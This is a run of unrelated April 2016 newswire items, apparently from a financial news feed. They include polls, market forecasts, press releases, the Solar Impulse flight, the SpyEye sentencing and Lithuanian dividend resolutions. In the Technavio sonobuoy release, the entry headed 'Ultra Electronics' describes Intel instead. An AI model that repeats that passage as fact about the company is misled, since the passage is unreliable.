The latest poll found that just 27 percent of Republicans consider themselves environmentalists compared to 56 percent of Democrats.



Back in 1991, seventy-eight percent of both Republicans and Democrats identified as environmentalists.



Republican presidential candidates Donald Trump and Ted Cruz have denied the existence of climate change, while Democratic presidential candidates Hillary Clinton and Bernie Sanders have cited it as a grave threat.



The poll also showed that Americans are less concerned about specific environmental problems now than in the late 1980s and early 1990s.



Gallup said Americans are much less concerned now than they were a generation ago about air pollution and pollution of rivers, lakes and reservoirs.



The survey of 1,019 adults was conducted March 2nd through 6th and has a margin of error of plus or minus 4 percentage points.



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Research and Markets has announced the addition of the "Digital TV Western Europe Forecasts" report to their offering.

The number of homes paying for IPTV in Western Europe overtook pay satellite TV ones in 2015. According the Digital TV Western Europe Forecasts report, IPTV subscriptions will climb by nearly 7 million (up by 27%) between 2015 and 2021. IPTV revenues will reach $5.77 billion in 2021 up by $1.2 billion.

However, the number of homes paying for satellite TV will fall by 300,000 between 2015 and 2021 for the 18 countries covered in the report. This is due mainly to some operators, especially in Spain and Italy, converting their DTH subs to more lucrative bundles on their broadband networks. Satellite TV revenues will fall for every year from 2011 and will decline by $1 billion between 2015 and 2021.

Western European pay TV is fast maturing, with penetration only forecast to grow from 56.8% at end-2015 to 59.5% in 2021. The number of pay TV subscribers will climb from 97.4 million in 2015 to 104.3 million in 2021.

So, pay TV subscriptions will only increase by 6.9 million (7.0%) between 2015 and 2021. However, the number of digital pay TV subs will increase by 19.0% (nearly 17 million) over the same period. Digital cable subs will increase by almost 10 million.

Published in April 2016, this 210-page sixth-edition electronically-delivered report comes in two parts:

A 120-page PDF file providing punchy narrative and succinct analysis in the Executive Summary and a digital TV briefing for 18 countries.

An excel workbook providing detailed forecasts from 2010 to 2021 for 18 countries as well as handy comparative tables for the region.

For more information visit http://www.researchandmarkets.com/research/954n44/digital_tv

View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005735/en/

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Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com

For E.S.T Office Hours Call 1-917-300-0470

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Sector: Televisions and Television Services


WASHINGTON (dpa-AFX) - Swiss long-range solar-powered plane has resumed its record-breaking journey without fuel across the Pacific Ocean into the United States mainland.



After some uncertainty about the winds, Solar Impulse 2 set off from Hawaii shortly after dawn local time to San Francisco, Mountain View. Swiss psychiatrist and aeronaut Bertrand Piccard is at the controls during the 3 days and 3 nights flying without fuel to complete the crossing of the Pacific Ocean.



On board the plane, Piccard tweeted that he was thrilled to make a live call with UN Secretary General Ban Ki-Moon marking Earth Day.



While Piccard is sitting in the cockpit, the Mission Control Center is working at full steam monitoring the energy level until sunrise. The plane runs on stored energy at night. The wings of Solar Impulse, which stretch wider than those of a Boeing 747, are equipped with 17,000 solar cells that power propellers and charge batteries.



Aimed at turning a milestone in aviation exploration, the first round-the-world solar flight took off from Al Bateen Executive Airport in Abu Dhabi on March 9 last year. It was part of the Future Is Clean campaign initiated by Bertrand Piccard and Swiss businessman Andre Borschberg to promote the use of renewable energy and clean technologies.



Since then, the experimental carbon-fiber aircraft had stops in Muscat, Oman; Ahmedabad and Varanasi, India; Mandalay, Myanmar; Chongqing and Nanjing, China; Nagoya, Japan; and Hawaii.



The trans-Pacific leg between Nagoya and Hawaii was the riskiest part so far, as there was nowhere for it to land in an emergency.



Borschberg will next take the controls once the plane has arrived in the U.S. mainland. He plans to re-start from New York by June for an Atlantic crossing to either southern Europe or Morocco, and finally back to Abu Dhabi.



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MOSCOW (dpa-AFX) - A Federal Court in Atlanta, Georgia, has sentenced two international computer hackers from Russia and Algeria to lengthy prison terms for their roles in developing and distributing the prolific piece of malware known as SpyEye. The malicious code caused hundreds of millions of dollars in losses to the financial industry around the world.



Aleksandr Andreevich Panin, 27, from Russia, was sentenced to nine and a half years in prison, and Hamza Bendelladj, 27, from Algeria, was sentenced to 15 years in prison.



SpyEye is a sophisticated code designed to secretly automate the theft of confidential personal and financial information such as online banking credentials, credit card information, usernames, passwords, and other personally identifying information. Between 2009 and 2011, SpyEye was the preeminent malware for cyber criminals and was used to infect more than 10 million computers that caused close to $1 billion in financial harm to individuals and institutions, according to FBI.



Panin was the primary developer and distributor of SpyEye. He conspired with others, including co-defendant Hamza Bendelladj, to market various versions of SpyEye through the Internet. Prior to his arrest, Panin was planning to release a second version of SpyEye that could have been one of the most undetectable pieces of malware ever distributed.



Panin was arrested by U.S. authorities in 2013 when he flew through Hartsfield-Jackson Atlanta International Airport. In 2014, he pled guilty to conspiring to commit wire fraud and bank fraud. Bendelladj was apprehended in Thailand in 2013 and extradited to the U.S.



'Through these arrests and sentencing, the risk the public unknowingly faced from the threat posed by the imminent release of a new, highly sophisticated version of SpyEye was effectively reduced to zero,' said J. Britt Johnson, special agent in charge of the FBI's Atlanta Field Office.



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5.2 million have been raised, with a total demand of approximately 10.5 million and a subscription rate of 203%

Regulatory News:

This press release should not be published, transmitted or distributed, directly or indirectly, into the United States, Canada, Australia or Japan

INSIDE Secure(Paris:INSD), ("INSIDE Secure" or the "Company"), a leader in embedded security solutions for mobile and connected devices, announces today the success of the share capital increase with shareholders' preferential subscription rights launched on March 31, 2016 on the regulated market of Euronext in Paris (the "Share Capital Increase

Total subscription orders for the Share Capital Increase amount to approximately 10.5 million, reflecting a subscription rate of 203%:

7,608,606 new shares were subscribed on an irreducible basis ( a titre irreductible ), representing 91.2% of the new shares to be issued;

), representing 91.2% of the new shares to be issued; Subscriptions subject to reduction (a titre reductible) amount to 9,335,582 new shares, representing 111.9% of the new shares to be issued, and will, as a result, be satisfied only in part, i.e. for 736,512 new shares.

Total gross proceeds of the transaction amount to 5,173,973.16, issue premium included, corresponding to the issuance of 8,345,118 new shares at a subscription price of 0.62 per share.

Post Share Capital Increase, the Company's share capital will amount to 17,246,586.40, divided into 43,116,466 shares with a par value of 0.40 each.

Pursuant to its commitment, FPCI Jolt Targeted Opportunities, a professional fund in capital investment ("Jolt Capital") placed an order (i) on an irreducible basis by exercising all the 3,895,220 rights bought to Bpifrance Participations, Jolttech Capital Two, Vertex Technology Fund (III) Ltd, Vertex Israel II Fund and Vertex III Fund and the 2,964,004 rights purchased on the market to subscribe for 1,646,208 new shares, and (ii) on a reducible basis to subscribe for 530,543 new shares, i.e. a total of 2,176,751 new shares. Furthermore, Jolt Capital purchased on the market 603,465 shares of the Company from April 6 to April 18, 2016. As a result, Jolt Capital holds 6.8% of the Company's share capital and voting rights following the Share Capital Increase.

Bpifrance Participations remains shareholder with 5.6% of the Company's share capital and voting rights.

The purpose of the Share Capital Increase is to support the development of the Company's activities in software and technology licensing and to allow to improve the flexibility and the financial stability of the Company notably in the context of the current strategic and operational repositioning.

The settlement and delivery as well as the admission to trading on the regulated market of Euronext in Paris of the new shares are expected to take place on April 26, 2016. The new shares will be immediately fungible with existing shares of the Company, which are already traded on Euronext regulated market in Paris, and be traded, from such date, on the same trading line as the Company's existing shares under ISIN code FR0010291245.

Natixis acted as Lead Manager and Bookrunner of the Share Capital Increase.

It is also being specified that, as announced on February 25, 2016, the Company will propose to a vote at the Ordinary and Extraordinary Shareholders' General Meeting to be held on June 8, 2016, a capital increase without shareholders' preferential subscription rights for the benefit of Jolt Capital for an amount of approximately 2 million (issue premium included).

Information available to the public

The Prospectus filed with the French Autorite des marches financiers (the "AMF") under visa number 16-107 dated March 30, 2016 (the "Prospectus"), consists of (i) INSIDE Secure's registration document filed with the AMF on March 30, 2016 under number R.16-014 (the "Registration Document"), (ii) a securities note and (iii) a summary of the Prospectus (included in the securities note).

Copies of the Prospectus may be obtained free of charge at INSIDE Secure's registered office (rue de la Carriere de Bachasson CS 70025 Arteparc Bachasson, 13590 Meyreuil, FRANCE), on the Company's corporate website (www.insidesecure.com), on the AMF's website (www.amf-france.org).

The Company draws investors' attention to the risk factors described in pages 11 to 31 of the Registration Document, and section 2 of the securities note.

About INSIDE Secure

INSIDE Secure (Euronext Paris FR0010291245 INSD) provides comprehensive embedded security solutions. World-leading companies rely on INSIDE Secure's mobile security and secure transaction offerings to protect critical assets including connected devices, content, services, identity and transactions. Unmatched security expertise combined with a comprehensive range of IP, semiconductors, software and associated services gives INSIDE Secure customers a single source for advanced solutions and superior investment protection. For more information, visit www.insidesecure.com

INSIDE Secure is eligible for "long-only" Deferred Settlement Service (SRD), for the Equity Savings Plan (PEA) and has received EnterNext's Tech 40 label.

Disclaimer

The offer was open to the public in France following the delivery of the visa on the Prospectus by the French Autorite des marches financiers.

With respect to Member States of the European Economic Area that have transposed European Directive 2003/71/EC of the European Parliament and European Council (as amended in particular by Directive 2010/73/EU to the extent that the said Directive has been transposed into each Member State of the European Economic Area) (the "Prospectus Directive"), no action has been taken or will be taken to permit a public offering of the securities referred to in this press release requiring the publication of a prospectus in any Member State other than France. Therefore, such securities may not be and shall not be offered in any Member State (other than in France) other than in accordance with the exemptions of Article 3(2) of the Prospective Directive to the extent they have been transposed by the relevant Member State or, otherwise, in cases not requiring the publication of a prospectus by INSIDE Secure under Article 3(2) of the Prospective Directive and/or the applicable regulations in such Member State.

This press release and the information it contains are being distributed to and are only intended for persons who are (i) outside the United Kingdom, (ii) investment professionals falling within Article 19(5) of the Financial Services and Markets Act 2000 (Financial Promotion) Order 2005 (the "Order"), (iii) high net worth entities and other such persons falling within Article 49(2)(a) to (d) of the Order ("high net worth companies", "unincorporated associations", etc.) or (iv) other persons to whom an invitation or inducement to engage in investment activity (within the meaning of Section 21 of the Financial Services and Market Act 2000) may otherwise lawfully be communicated or caused to be communicated (all such persons in (i), (ii), (iii) and (iv) together being referred to as "Relevant Persons"). Any invitation, offer or agreement to subscribe, purchase or otherwise acquire securities to which this press release relates will only be engaged with Relevant Persons. Any person who is not a Relevant Person should not act or rely on this press release or any of its contents.

This press release and the information it contains do not, and will not, constitute an offer to subscribe for or sell, nor the solicitation of an offer to subscribe for or buy, securities of INSIDE Secure in the United States of America or any other jurisdiction where restrictions may apply. Securities may not be offered or sold in the United States of America absent registration or an exemption from registration under the U.S. Securities Act of 1933, as amended (the "U.S. Securities Act"), it being specified that the securities of INSIDE Secure have not been and will not be registered under the US Securities Act. INSIDE Secure does not intend to register any securities or conduct a public offering in the United States of America.

The distribution of this press release may be subject to legal or regulatory restrictions in certain jurisdictions. Any person who comes into possession of this press release must inform him or herself of and comply with any such restrictions.

View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005817/en/

Contacts:

Press and investor contacts

INSIDE Secure

Corporate communication

Geraldine Sauniere

Marcom Director

+33 (0) 4 42 905 905

gsauniere@insidefr.com

or

Brunswick

Financial communicaton

Jerome Biscay,

Guillaume Le Tarnec

+33 (0) 1 53 96 83 83

INSIDE@brunswickgroup.com

or

INSIDE Secure

Investor relations

Richard Vacher Detourniere

Directeur general finances developpement

+33 (0) 4 42 905 905

rvacherdetourniere@insidefr.com


VIENNA (dpa-AFX) - Ahead of a national referendum in the U.K. in June, President Barack Obama urged Britons to vote in favor of remaining in the European Union.



In an op-ed piece in the Daily Telegraph on Friday, Obama argued that countries can more effectively handle the world's challenges through collective action.



'The European Union doesn't moderate British influence - it magnifies it,' Obama wrote. 'A strong Europe is not a threat to Britain's global leadership; it enhances Britain's global leadership.'



'The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic,' he added. 'So the U.S. and the world need your outsized influence to continue - including within Europe.'



Obama cited the nuclear agreement with Iran, the Paris climate change agreement and the Transatlantic Trade and Investment Partnership as examples of the benefits of collective action.



The op-ed was published as the president is in the U.K. to meet with British Prime Minister David Cameron and dine with Queen Elizabeth II.



However, the piece has drawn considerable criticism from some British politicians, who have warned Obama not to interfere in the country's domestic affairs.



London Mayor Boris Johnson went so far as to suggest that Obama's 'part-Kenyan' ancestry has resulted in an 'ancestral dislike of the British empire.'



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BRUSSELS (dpa-AFX) - The Swiss stock market ended Friday's session in the red, extending its losses from the previous day. Despite the recent weakness, the market still finished the trading week with an increase, its third weekly gain in a row. The market got off to a weak start Friday and reached its intraday low before noon.



The losses at the end of the trading week were chalked up to profit taking, following the recent run up in the market. Eurozone private sector activity remained sluggish at the start of the second quarter. Some disappointing corporate financial reports from the U.S. also contributed to the negative mood.



The Swiss Market Index decreased 0.62 percent Friday and finished at 8,109.44. The SMI concluded the trading week with an overall gain of 1.2 percent. The Swiss Leader Index dropped 0.49 percent Friday and the Swiss Performance Index lost 0.52 percent.



Actelion declined 2.8 percent Friday. The stock was up over 3 percent yesterday, following the release of its strong quarter results.



Novartis, which also release quarter results yesterday, dipped 0.1 percent. Roche surrendered 0.5 percent and Nestle dropped 1.4 percent.



Luxury goods companies were under pressure after the weak results reported by French competitor Kering. Swatch decreased 1.7 percent and Richemont lost 2.1 percent.



The financial stocks finished with mixed results. Credit Suisse fell 0.5 percent, but UBS increased 0.8 percent. Julius Baer also finished with a gain of 0.2 percent.



Sika was among the best performing stocks of the session, with an increase of 1.4 percent. Galenica and Lonza both finished the day higher by 0.8 percent.



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AB "Rokiskio suris", Pramones str.3, Rokiskis, Lithuania, 2016-04-22 18:43 CEST (GLOBE NEWSWIRE) -- On April 22, 2016, the Board of Directors of Rokiskio suris AB adopted a resolution in regards with the Company's profit distribution for the year 2015. The Board approved the following draft resolution for the Company's profit distribution for the year 2015 and hereby renders such project of profit distribution for the 29 April 2016 General Meeting of Shareholders of Rokiskio suris AB:



Title kEUR -------------------------------------------------------------------------------- 1. Non-distributable profit (loss) at beginning of year 45,614 -------------------------------------------------------------------------------- 2. Approved by shareholders dividends related to the year 2014 - -------------------------------------------------------------------------------- 3. Transfers from other reserves 2,585 -------------------------------------------------------------------------------- 4. Non-distributable profit (loss) at beginning of year after dividend 48,199 payout and transfer to reserves -------------------------------------------------------------------------------- 5. Net profit (loss) of the Company of fiscal year 3,879 -------------------------------------------------------------------------------- 6. Distributable profit (loss) of the Company 52,078 -------------------------------------------------------------------------------- 7. Profit share for mandatory reserve - -------------------------------------------------------------------------------- 8. Profit share for other reserves - -------------------------------------------------------------------------------- 9. Profit share for dividend payout (2,342 ) -------------------------------------------------------------------------------- 10. Profit share for annual payments (tantiemes) to the Board of 775 Directors, employee bonuses and other as accounted by Profit (loss) statement -------------------------------------------------------------------------------- 11. Non-distributable profit (loss) at end of year transferred to the 49,735 next fiscal year --------------------------------------------------------------------------------



Dividends for the year 2015 are allocated to 33,453,391 shares, i.e. 0.07 eur per share (before taxes).



Persons entitled to receive dividends are those who are actual shareholders of the Company at the end of the tenth day after approval of the resolution for dividend pay-out by the general meeting of shareholders (record date), i. e. May 13, 2016.



Dalius Trumpa Board Chairman +370 458 55200

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Supplemented with a draft resolution adopted by the Board of Directors regarding profit distributionRokiskio suris AB, Pramones str. 3, Rokiskis, Lithuania, 2016-04-22 18:43 CEST (GLOBE NEWSWIRE) -- The draft resolutions prepared by the Board of Directors of AB Rokiskio suris for the general meeting of shareholders to be held on 29th April 2016:1. Auditor's findings regarding the financial statements and annual report.Debriefed.2. The Audit Committee report.Draft resolution:To endorse the report of the Audit Committee.3. The Company's consolidated annual report for the year 2015.Debriefed with the consolidated annual report for the year 2015 of Rokiskio suris AB which is prepared by the Company's management, assessed by the Auditor's and approved by the Board of Directors.4. Approval of the consolidated and company's financial accounting for the year 2015.Draft resolution:To approve the audited consolidated and company's financial reports for the year 2015.5. Allocation of the profit (loss) of the Company of 2015.Draft resolution:To approve the following profit (loss) distribution of the year 2015:Title kEUR -------------------------------------------------------------------------------- 1. Non-distributable profit (loss) at beginning of year 45,614 -------------------------------------------------------------------------------- 2. Approved by shareholders dividends related to the year 2014 - -------------------------------------------------------------------------------- 3. Transfers from other reserves 2,585 -------------------------------------------------------------------------------- 4. Non-distributable profit (loss) at beginning of year after dividend 48,199 payout and transfer to reserves -------------------------------------------------------------------------------- 5. Net profit (loss) of the Company of fiscal year 3,879 -------------------------------------------------------------------------------- 6. Distributable profit (loss) of the Company 52,078 -------------------------------------------------------------------------------- 7. Profit share for mandatory reserve - -------------------------------------------------------------------------------- 8. Profit share for other reserves - -------------------------------------------------------------------------------- 9. Profit share for dividend payout (2,342 ) -------------------------------------------------------------------------------- 10. Profit share for annual payments (tantiemes) to the Board of 775 Directors, employee bonuses and other as accounted by Profit (loss) statement -------------------------------------------------------------------------------- 11. Non-distributable profit (loss) at end of year transferred to the 49,735 next fiscal year --------------------------------------------------------------------------------1 It is distributed the profit earned by 2009Dividends for the year 2015 are allocated to 33,453,391 shares, i.e. 0.07 eur per share (before taxes).Persons entitled to receive dividends are those who are actual shareholders of the Company at the end of the tenth day after approval of the resolution for dividend pay-out by the general meeting of shareholders (shareholders proprietary right accounting day), i. e. May 13, 2016.Pursuing the Laws of the Republic of Lithuania, dividends paid to physical bodies resided in the Republic of Lithuania as well as in foreign countries are subject to 15 per cent of residential income tax; Dividends paid to juridical bodies of the Republic of Lithuania as well as foreign countries are subject to 15 per cent of profit tax, unless it is stated differently the law.6. Election of the Company's auditor and establishment of payment conditions.Draft resolution :To elect an audit company UAB PricewaterhouseCoopers to perform an audit of annual consolidated financial statements and evaluation of the annual report of the Group of AB Rokiskio suris and the Parent Company. Remuneration for the audit shall be identified by the Board of Directors. The Company's manager is authorized to sign an agreement with the audit company.Dalius Trumpa Board Chairman +370 458 55200Attachment:https://cns.omxgroup.com/cds/DisclosureAttachmentServlet?messageAttachmentId=557763
Technavio has announced the top five leading vendors for the global sonobuoy marketin their latest research report. This report also lists three other prominent vendors who are expected to contribute to this market's growth over the forecast period.

To identify the top vendors, Technavio's market research analysts have considered the top contributors to the overall revenue of this market. The report provides a global overview, market shares and segmentation by application (defense and application), and growth opportunities by region (Americas, EMEA, and APAC).

Request sample report: http://bit.ly/1ShcBg8

"The US Navy is the largest investor in the procurement of unmanned underwater vehicles, ASW systems, and acquisition of sonobuoys for marine mammal research. It also spends extensively on tracking hostile submarine movement to counter unseen threats in the ocean. However, ongoing naval border disputes in the South China Sea and the Indian Ocean have raised concerns over the deployment of anti-submarine and naval warfare systems. Deployment of sonobuoys will be a viable option to counter such maritime threats," said Abhay Singh, one of Technavio's lead analysts for defense

"End-users of the global sonobuoy market are shifting their focus from quantity to quality. There is also an increased emphasis on cost-efficiency in military operations and emerging markets in APAC and the Middle East. Western military forces are looking for high-end, modernized weapons and are upgrading their defense systems," added Abhay.

Top five leading vendors in the global sonobuoy market:

General Dynamics Mission Systems-Canada

General Dynamics Mission Systems-Canada was founded in 1948 and is headquartered in Ottawa, Canada. It operates as one of the major defense system integrators in Canada.

The company manufactures and supplies comprehensive underwater intelligence, surveillance, and reconnaissance (ISR) solutions that are used for tracking submerged threats in coastal and deep water, as well as for ensuring coverage against torpedo threat in blue and littoral water environments. It offers sonobuoy acoustic processing system, under the brand name UYS-505 VENOM 3U, which enhances the signal processing capabilities and assists in detecting modern submerged threats.

RADIXON Group

RADIXON Group was founded in 1991 and is headquartered in Melbourne, Australia. It supplies radio communications monitoring and surveillance systems to the customers in commercial and defense industries. It operates as a subsidiary of an Australia-based specialty consumer and professional equipment provider, Robotron. The company operates subsidiaries in the US, the UK, and Slovakia. The company manufactures and sells sonobuoys and associated products to the customers in the global naval industry. The company operates four regional offices and markets its products through over 30 prime dealers globally.

Sparton

Sparton has been supplying ASW systems to the US Navy for the last 60 years. The company manufactures both active and passive sonobuoys for the US Navy and allied forces. In 1987, it established a joint venture with a US-based hydroacoustic sensors manufacturer, Ultra Electronics, under the legal name ERAPSCO, for supplying sonobuoys and transducers to the US Navy for its ASW operations.

Sparton, together with its partner, Ultra Electronics, offers International Traffic in Arms Regulations (ITAR)-approved and the US specification-qualified sonobuoys and associated technical support services through Sonobuoy TechSystems (a division of ERAPSCO).

Thales Group

The company, through its wholly owned subsidiary, Thales Underwater Systems, provides a comprehensive array of solutions for submarines, surface and mine-countermeasures vessels, and aircraft. Its product portfolio includes hull-mounted, variable depth, towed and dipping sonar systems, sonobuoy processing systems, sonobuoys, sonar support systems, torpedo homing heads, and antennas.

Thales Underwater Systems has operations in the UK, France, and Australia with a total workforce of over 2,000 employees.

Ultra Electronics

Intel manufactures integrated digital technology platforms. The company sells these platforms to OEMs, original design manufacturers, and industrial and communications equipment manufacturers in different industries. Their platforms are used in applications such as PCs, data centers, tablets, smartphones, automobiles, automated factory systems and medical devices. Intel also develops and sells software and services primarily focused on security and technology integration. It offers platforms that incorporate different components and technologies, including a microprocessor and chipset.

Browse related reports:

Global Sonar Systems Market 2015-2019

Global Submarine Market 2016-2020

Global UAV Market 2016-2020

Global Naval Vessels MRO Market 2016-2020

Purchase any three reports from our library for the price of one by becoming a Technavio subscriber. Subscribing to Technavio's reports allows you to download any three reports per month for the price of one. Contact enquiry@technavio.com with your requirements and a link to our subscription platform.

About Technavio

Technavio is a leading global technology research and advisory company. The company develops over 2000 pieces of research every year, covering more than 500 technologies across 80 countries. Technavio has about 300 analysts globally who specialize in customized consulting and business research assignments across the latest leading edge technologies.

Technavio analysts employ primary as well as secondary research techniques to ascertain the size and vendor landscape in a range of markets. Analysts obtain information using a combination of bottom-up and top-down approaches, besides using in-house market modeling tools and proprietary databases. They corroborate this data with the data obtained from various market participants and stakeholders across the value chain, including vendors, service providers, distributors, re-sellers, and end-users.

If you are interested in more information, please contact our media team at media@technavio.com.

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Jesse Maida

Media Marketing Executive

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UK: +44 208 123 1770

www.technavio.com

media@technavio.com
THUNDER BAY, ONTARIO -- (Marketwired) -- 04/22/16 -- Benton Resources Inc. (TSX VENTURE: BEX) ("Benton" or "the Company") would like to announce that the Company has acquired a 100% interest through staking in the Iron Duke gold project located 20km east of the past producing Mattabi/Sturgeon Lake base metal deposits and 30km south of the past producing St. Anthony gold mine. The project is comprised of 47 units in 3 claims and covers the Quill Lake gold zone which has undergone limited exploration efforts. Historical diamond drilling (6 holes) for gold in the early 1990s by Noranda Exploration Inc. (Ontario MNDM assessment files) tested anomalous gold- and arsenic-in-soil geochemical samples and returned from trace to 2.2gpt gold over narrow widths of 0.91 metres or less. A second company, Excalibur Resources Ltd., drilled three more holes 5-6km along strike to the east from the Noranda drilling while exploring for base metals (Ontario MNDM assessment files). Excalibur's drilling also encountered anomalous gold values, the best being 11.8 metres grading 0.19gpt gold and 0.5m grading 1.07gpt gold. Given the widespread anomalous gold values the Company believes this to be an iron formation horizon prospective to host significant gold mineralization and merits follow-up work not only on the Quill Lake gold zone but within the immediate region. A map of the project can be viewed on the Company's website shortly. The Company cautions it has not verified the gold result.

About Benton Resources Inc. (TSX VENTURE: BEX)

Benton Resources Inc. is a well-funded Canadian-based junior with a diversified property portfolio in Gold-Silver, Nickel, Copper, and Platinum group elements which including the advanced Cape Ray Gold project under Option and Joint Venture with Nordmin Engineering.

Benton and Nordmin recently released a positive PEA on the Cape Ray project and filed a new NI 43-101 on SEDAR and which is also posted on the Company web site.

Clinton Barr (P.Geo.), V.P. Exploration for Benton Resources Inc., is the qualified person responsible for this release.

On behalf of the Board of Directors of Benton Resources Inc.,

Stephen Stares, President

THE TSX VENTURE EXCHANGE HAS NOT REVIEWED AND DOES NOT ACCEPT RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

The information contained herein contains "forward-looking statements" within the meaning of applicable securities legislation. Forward-looking statements relate to information that is based on assumptions of management, forecasts of future results, and estimates of amounts not yet determinable. Any statements that express predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance are not statements of historical fact and may be "forward-looking statements."

Forward-looking statements are subject to a variety of risks and uncertainties which could cause actual events or results to differ from those reflected in the forward-looking statements, including, without limitation: risks related to failure to obtain adequate financing on a timely basis and on acceptable terms; risks related to the outcome of legal proceedings; political and regulatory risks associated with mining and exploration; risks related to the maintenance of stock exchange listings; risks related to environmental regulation and liability; the potential for delays in exploration or development activities or the completion of feasibility studies; the uncertainty of profitability; risks and uncertainties relating to the interpretation of drill results, the geology, grade and continuity of mineral deposits; risks related to the inherent uncertainty of production and cost estimates and the potential for unexpected costs and expenses; results of prefeasibility and feasibility studies, and the possibility that future exploration, development or mining results will not be consistent with the Company's expectations; risks related to gold price and other commodity price fluctuations; and other risks and uncertainties related to the Company's prospects, properties and business detailed elsewhere in the Company's disclosure record. Should one or more of these risks and uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those described in forward-looking statements. Investors are cautioned against attributing undue certainty to forward-looking statements. These forward looking statements are made as of the date hereof and the Company does not assume any obligation to update or revise them to reflect new events or circumstances. Actual events or results could differ materially from the Company's expectations or projections.

Contacts:

Benton Resources Inc.

Stephen Stares

(807) 475-7474

(807) 475-7200 (FAX)

www.bentonresources.ca




WASHINGTON (dpa-AFX) - Reflecting the GOP's tenuous hold on the seat, the results of a recent WMUR Granite State Poll showed Senator Kelly Ayotte, R-N.H., and Governor Maggie Hassan deadlocked in the New Hampshire senate race. The poll found that 43 percent of likely New Hampshire voters would vote for Ayotte, while 42 percent support Hassan. Another 10 percent are undecided. Ayotte's one-point advantage is well within the poll's margin of error and compares to the 45 percent to 41 percent lead she held in February. The results suggest Ayotte may be hurt by her refusal to consider federal appeals court judge Merrick Garland's nomination to the Supreme Court. Forty percent of voters said Ayotte's position on the Supreme Court nomination makes them less likely to vote for her, including 37 percent of voters who don't support either candidate or are undecided. However, 44 percent of likely voters and 54 percent of undecided voters said Ayotte's position makes no difference in their vote. The WMUR Granite State Poll of 553 likely New Hampshire voters was conducted April 7th through 17th and has a margin of error of plus or minus 4.2 percentage points. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
WHITEHORSE, YUKON -- (Marketwired) -- 04/22/16 -- Yukon Premier Darrell Pasloski, Northwest Territories Premier Robert R. McLeod and Nunavut Premier Peter Taptuna will meet April 28 and 29 in Yukon for the Northern Premiers' Forum.

"The forum is an opportunity for Canada's territories to work collaboratively on northern issues, including climate change and the economy," Pasloski said. "I look forward to productive meetings with premiers McLeod and Taptuna as we advance a common vision for a vibrant, prosperous North."

The premiers will discuss tourism, health care in the North, engagement with the federal government and northern infrastructure. After gathering in Whitehorse, premiers will travel to Dawson and Old Crow to hold their meetings and take part in community events.

"As hosts, we look forward to showcasing Yukon and building connections between northern communities," Pasloski added.

Northwest Territories Deputy Premier Robert C. McLeod will also attend the forum.

Contacts:

Government of Yukon

Dan Macdonald

Premier's office

867-393-6470

dan.macdonald@gov.yk.ca



Government of the Northwest Territories

Andrew Livingstone

Department of the Executive

867-767-9140 ext. 11091

Andrew_Livingstone@gov.nt.ca



Government of Nunavut

Yasmina Pepa

Premier's office

867-975-5059

ypepa@gov.nu.ca




DUBLIN, April 23, 2016 /PRNewswire/ --

Research and Markets has announced the addition of the "Japan Generics Drug Market Outlook 2020" report to their offering.

(Logo: http://photos.prnewswire.com/prnh/20160330/349511LOGO )



Japan have one of the most advanced research and development facilities across the world contributing significantly to the development of healthcare infrastructure. Japan has opened its pharmaceutical market for foreign trade leading to higher input of drugs. Their population is going in downward spiral where number of young people are lesser then geriatric population. In this way, they have high demand for therapeutic products due which their pharmaceutical market is increasing.



Observation shows that Japanese pharmaceuticals market is heavily inclined towards consumption of branded drugs. Due to presence of higher technological capabilities they were able to commercialize innovative drugs. Significant investments were made in research and development segment due to which new products are being made. It promoted the utilization of branded drugs in Japanese market. Presence of universal healthcare system also allowed the patients to include generic drugs in their therapeutic regime. They to invest small out of pocket money while buying branded drugs as rest of the part is covered by the universal healthcare system. Branded drugs market got boost due to regulator's policies but these drugs are quite costly. As a result, stagnant economy is not able to sustain burgeoning financial pressure on healthcare system.

Japanese generic drugs market is largely unchurned due to which it offers significant commercialization opportunities. Both domestic and foreign pharmaceutical companies are expected to take advantage of this scenario. Japanese regulators have developed amenable rules due to which foreign pharmaceutical companies can venture in generic drugs segment. This will increase the competition and further decrease the prices of generic drugs in Japanese market. Moreover, it will build a strong supply chain due to which dearth of generic drugs will not occur in future.



Regulators will also be able to increase their consumption by promoting more numbers of patients opting for the generic drugs. In this way, they will be able to observe decrease in investments in healthcare system. To achieve higher cost savings, more work has yet to be done in coming years.

Prices of both generic and branded drugs are checked by Japanese regulators after every two years. This allows the patients to spend less money for treatment of their diseases in long-term scenario. But it could be observed that patients are not willing to switch to the generic drugs despite lesser cost. Main reason behind this fact is that cost difference between these drugs is not significant. Higher buying power of patients allow them to include costly branded drugs in their daily therapeutic regime. This scenario shows that Japanese regulators have to further decrease the prices of generic drugs in order to offer higher cost arbitrage. They also have to increase the uptake of generic drugs in order to decrease the prevalence of branded drugs as major component of healthcare system. Some of the measures have been implemented but their results are yet to be observed in coming years.



Key Topics Covered:



1. Introduction to Japan Generic Drug Market



2. Attractiveness of Japan Generic Market



3. Scenario of Generic Drugs in Japan



4. Super Generics in Japan



5. Different Parameters for Generic & Branded Drugs in Japan



6. Generic Active Pharmaceutical Ingredients in Japan



7. Health in Japan & Utilization of Generic Drugs



8. Healthcare System & Generic Drugs in Japan



9. Comparison of Generic Drugs in US & Japan

10. Japan Generic Drugs Market Analysis



11. Japan Generic Market Favorable Factors



12. Japan Generics Market Commercialization Challenges



13. Japan Generic Drugs Market Future Prospects



14. Competitive Landscape



- Actavis

- Eisai

- Fuji Pharma

- GlaxoSmithKline

- Hospira

- Meiji Seika Pharma

- Nichi-Iko Pharmaceutical

- Nipro Pharma

- Pfizer

- Sawai Pharmaceuticals

- Takeda Pharmaceutical

- Towa Pharmaceutical



For more information visit http://www.researchandmarkets.com/research/7289vp/japan_generics



Media Contact:

Research and Markets

